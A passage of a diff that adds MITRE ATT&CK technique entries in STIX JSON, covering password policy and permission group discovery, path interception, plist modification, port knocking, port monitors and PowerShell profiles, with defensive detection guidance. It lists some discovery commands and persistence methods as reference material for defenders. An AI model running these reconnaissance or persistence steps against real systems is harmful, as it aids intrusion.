+ "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1174", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1174" + }, + { + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + } + ], + "modified": "2019-07-18T17:02:26.038Z" + }, + { + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Password Policy Discovery", + "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* net accounts\n* net accounts /domain\n\n### Linux\n* chage -l \n* cat /etc/pam.d/common-password\n\n### macOS\n* pwpolicy getaccountpolicies", + "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1201", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1201" + }, + { + "source_name": "Superuser Linux Password Policies", + "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", + "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu" + }, + { + "source_name": "Jamf User Password Policies", + "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", + "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + } + ], + "modified": "2019-07-18T17:03:40.469Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Path Interception", + "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "created": "2017-05-31T21:30:36.140Z", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1034" + }, + { + "source_name": "capec", + "external_id": "CAPEC-159", + "url": "https://capec.mitre.org/data/definitions/159.html" + }, + { + "source_name": "TechNet MS14-019", + "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.", + "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/" + }, + { + "source_name": "Microsoft Subkey", + "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.", + "url": "http://support.microsoft.com/KB/103000" + }, + { + "source_name": "Baggett 2012", + "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.", + "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464" + }, + { + "source_name": "SecurityBoulevard Unquoted Services APR 2018", + "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", + "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/" + }, + { + "source_name": "SploitSpren Windows Priv Jan 2018", + "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", + "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "Hill NT Shell", + "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.", + "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120" + }, + { + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms687393" + }, + { + "source_name": "MSDN Environment Property", + "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx" + } + ], + "modified": "2019-07-18T17:08:40.853Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "PowerShell logs", + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Peripheral Device Discovery", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:28.471Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1120", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1120" + }, + { + "source_name": "capec", + "external_id": "CAPEC-646", + "url": "https://capec.mitre.org/data/definitions/646.html" + } + ], + "modified": "2019-07-03T15:14:30.826Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "Office 365 account logs", + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Permission Groups Discovery", + "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are net group /domain and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)", + "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "Azure AD" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "created": "2017-05-31T21:30:55.471Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069" + }, + { + "source_name": "capec", + "external_id": "CAPEC-576", + "url": "https://capec.mitre.org/data/definitions/576.html" + }, + { + "source_name": "Microsoft msrole", + "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + } + ], + "modified": "2019-10-18T20:37:17.043Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Plist Modification", + "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", + "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-25T11:58:11.559Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1150", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1150" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Port Knocking", + "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "modified": "2019-07-18T17:11:15.521Z", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1205", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1205" + }, + { + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + } + ], + "x_mitre_defense_bypassed": [ + "Defensive network service scanning" + ] + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "name": "Port Monitors", + "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:26.057Z", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1013" + }, + { + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/dd183341" + }, + { + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-04-03T15:01:55.103Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "PowerShell logs", + "Loaded DLLs", + "DLL monitoring", + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "PowerShell", + "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", + "x_mitre_remote_support": true, + "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:31:06.512Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1086", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1086" + }, + { + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", + "url": "https://github.com/jaredhaight/PSAttack" + }, + { + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", + "source_name": "Sixdub PowerPick Jan 2016", + "url": "http://www.sixdub.net/?p=367" + }, + { + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", + "source_name": "SilentBreak Offensive PS Dec 2015", + "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/" + }, + { + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", + "source_name": "Microsoft PSfromCsharp APR 2014", + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + } + ], + "modified": "2019-07-18T17:15:10.564Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "PowerShell logs" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "PowerShell Profile", + "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", + "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Allen DeRyke, ICE" + ], + "created": "2019-06-14T18:53:49.472Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1504", + "url": "https://attack.mitre.org/techniques/T1504" + }, + { + "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.", + "source_name": "Microsoft About Profiles", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6" + }, + { + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.", + "source_name": "Wits End and Shady PowerShell Profiles", + "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + } + ], + "modified": "2019-07-19T14:46:24.213Z" 